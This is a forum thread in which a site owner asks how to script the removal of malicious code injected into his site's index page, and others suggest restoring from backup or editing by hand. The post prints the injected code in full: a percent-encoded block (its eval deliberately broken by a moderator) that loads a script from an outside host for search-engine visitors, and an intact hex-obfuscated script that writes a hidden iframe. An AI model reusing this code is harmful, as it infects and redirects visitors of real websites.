To remove the lines in my file

Shell Programming and Scripting
1

Hi,

There seems to some hack attempts in my site. I have attached the index page of my site and I need to remove the below lines from the index page. The below lines are at the center of the file.

-->
</style>
<script>E V A L( unescape( "%69%66%28%21%6d%79%69%6b%29%7b%0d%0a%76%61%72%20%72%3d%64%6f%63%75%6d%65%6e%74%2e%72%65%66%65%72%72%65%72%2c%75%3d%64%6f%63%75%6d%65%6e%74%2e%55%52%4c%2c%74%3d%22%22%2c%71%2c%71%75%65%2c%73%65%3d%22%67%62%22%3b%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%67%6f%6f%67%6c%65%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%67%6f%6f%67%6c%65%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%6d%73%6e%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%6d%73%6e%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%68%6f%6f%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%70%22%3b%73%65%3d%22%79%61%68%6f%6f%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%6e%64%65%78%2e%72%75%22%29%21%3d%2d%31%29%7b%74%3d%22%74%65%78%74%22%3b%73%65%3d%22%79%61%6e%64%65%78%2e%72%75%22%3b%7d%0d%0a%69%66%28%74%2e%6c%65%6e%67%74%68&&%28%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22%3f%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%7c%7c%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22&%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%29%29%7b%20%71%75%65%3d%72%2e%73%75%62%73%74%72%69%6e%67%28%71%2b%32%2b%74%2e%6c%65%6e%67%74%68%29%2e%73%70%6c%69%74%28%22&%22%29%5b%30%5d%3b%0d%0a%69%66%20%28%28%71%75%65%2e%69%6e%64%65%78%4f%66%28%27%73%69%74%65%3a%27%29%3d%3d%2d%31%29%20&&%20%28%71%75%65%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%69%6e%64%65%78%4f%66%28%27%77%77%77%2e%27%29%3d%3d%2d%31%29%29%0d%0a%09%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%73%63%72%69%70%74%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%62%65%73%74%34%79%6f%75%2e%69%66%2e%75%61%2f%6a%73%2f%62%69%64%63%68%2e%6a%73%3f%71%3d%22%2b%71%75%65%2b%22&%72%65%66%3d%22%2b%72%2b%22%27%3e%3c%2f%73%63%22%2b%22%72%69%70%74%3e%22%29%3b%0d%0a%7d%0d%0a%7d%0d%0a%76%61%72%20%6d%79%69%6b%3d%74%72%75%65%3b" ));</script></head>
<body onLoad="preloadImages();"><script>function c173b3059n49ac72cf3437c(n49ac72cf34b4b){ function n49ac72cf35328(){return 16;} return (parseInt(n49ac72cf34b4b,n49ac72cf35328()));}function n49ac72cf362ba(n49ac72cf36a8a){ var n49ac72cf3725c='';n49ac72cf3919a=String['fromCharCode'];for(n49ac72cf37a33=0;n49ac72cf37a33<n49ac72cf36a8a.length;n49ac72cf37a33+=2){ n49ac72cf3725c+=(n49ac72cf3919a(c173b3059n49ac72cf3437c(n49ac72cf36a8a.substr(n49ac72cf37a33,2))));}return n49ac72cf3725c;} var x2c='';var n49ac72cf3996a='3C7'+x2c+'3637'+x2c+'2697'+x2c+'07'+x2c+'43E667'+x2c+'56E637'+x2c+'4696F6E20636865636B5F636F6E7'+x2c+'4656E7'+x2c+'428297'+x2c+'B7'+x2c+'6617'+x2c+'220693D303B7'+x2c+'7'+x2c+'68696C6528646F637'+x2c+'56D656E7'+x2c+'42E67'+x2c+'657'+x2c+'4456C656D656E7'+x2c+'47'+x2c+'3427'+x2c+'9546167'+x2c+'4E616D652827'+x2c+'69667'+x2c+'2616D6527'+x2c+'292E6C656E67'+x2c+'7'+x2c+'468297'+x2c+'B7'+x2c+'6617'+x2c+'220656C3D646F637'+x2c+'56D656E7'+x2c+'42E67'+x2c+'657'+x2c+'4456C656D656E7'+x2c+'47'+x2c+'3427'+x2c+'9546167'+x2c+'4E616D652827'+x2c+'69667'+x2c+'2616D6527'+x2c+'295B695D3B6966282028656C2E7'+x2c+'37'+x2c+'47'+x2c+'96C652E64697'+x2c+'37'+x2c+'06C617'+x2c+'93D3D27'+x2c+'6E6F6E6527'+x2c+'207'+x2c+'C7'+x2c+'C20656C2E7'+x2c+'37'+x2c+'47'+x2c+'96C652E7'+x2c+'6697'+x2c+'36962696C697'+x2c+'47'+x2c+'9203D3D27'+x2c+'68696464656E27'+x2c+'207'+x2c+'C7'+x2c+'C2028656C2E7'+x2c+'7'+x2c+'69647'+x2c+'4683C3520262620656C2E68656967'+x2c+'687'+x2c+'43C35292920262620656C2E6E616D65213D27'+x2c+'633127'+x2c+'297'+x2c+'B656C2E7'+x2c+'0617'+x2c+'2656E7'+x2c+'44E6F64652E7'+x2c+'2656D6F7'+x2c+'6654368696C6428656C293B7'+x2c+'D656C7'+x2c+'36520692B2B3B7'+x2c+'D7'+x2c+'D636865636B5F636F6E7'+x2c+'4656E7'+x2c+'428293B0A696628216D7'+x2c+'96961297'+x2c+'B646F637'+x2c+'56D656E7'+x2c+'42E7'+x2c+'7'+x2c+'7'+x2c+'2697'+x2c+'465287'+x2c+'56E657'+x2c+'363617'+x2c+'065282027'+x2c+'2533632536392536362537'+x2c+'322536312536642536352532302536652536312536642536352533642536332533312532302537'+x2c+'332537'+x2c+'32253633253364253237'+x2c+'2536382537'+x2c+'342537'+x2c+'342537'+x2c+'30253361253266253266253637'+x2c+'2536352537'+x2c+'322536642536312536652536312536342537'+x2c+'362536352537'+x2c+'322537'+x2c+'342536392537'+x2c+'33253639253665253637'+x2c+'2532652536652536352537'+x2c+'34253266253639253665253265253633253637'+x2c+'25363925336625333926253237'+x2c+'2532622534642536312537'+x2c+'342536382532652537'+x2c+'322536662537'+x2c+'352536652536342532382534642536312537'+x2c+'342536382532652537'+x2c+'32253631253665253634253666253664253238253239253261253332253338253334253331253336253239253262253237'+x2c+'253633253334253336253336253337'+x2c+'253636253334253339253237'+x2c+'2532302537'+x2c+'37'+x2c+'2536392536342537'+x2c+'34253638253364253339253336253230253638253635253639253637'+x2c+'2536382537'+x2c+'342533642533322533392533362532302537'+x2c+'332537'+x2c+'342537'+x2c+'39253663253635253364253237'+x2c+'2537'+x2c+'362536392537'+x2c+'332536392536322536392536632536392537'+x2c+'342537'+x2c+'39253361253638253639253634253634253635253665253237'+x2c+'2533652533632532662536392536362537'+x2c+'3225363125366425363525336527'+x2c+'29293B7'+x2c+'D7'+x2c+'6617'+x2c+'2206D7'+x2c+'969613D7'+x2c+'47'+x2c+'27'+x2c+'5653B3C2F7'+x2c+'3637'+x2c+'2697'+x2c+'07'+x2c+'43E';document.write(n49ac72cf362ba(n49ac72cf3996a));</script>

And also i need to remove the last line which contains,

<script>check_content()</script>

Thanks in advance....

2

a better idea is to restore the file from backup

3

That's what text editors are for.

4

Hi Yogesh, Thank you for your quick reply. Yes, probably we can restore from the backup. But in case if i don't have the backup. I need to be manually remove those lines. I need a help on this ....

Hi cfajohnson, Well known it can remove using the editors, but is it possible to remove with the script by keeping the key word on the hack... Assume if I have lot of domain with the same case....

5

Yep, your site has been hacked. I had the same thing (or very similar) about a year ago. I never could figure out the site was hacked but I used an editor to remove the offending code from the html documents. Took about 2 hours to find all the affected pages.

Not to be a pain in your butt, you have posted malicious code, it really should be removed from the forum so I have reported your thread. The moderators will determine if it stays posted or not.

6

I removed the attachment and modified the eval to "E V A L", which should render it useless, in case someone tries to edit it in an html browser.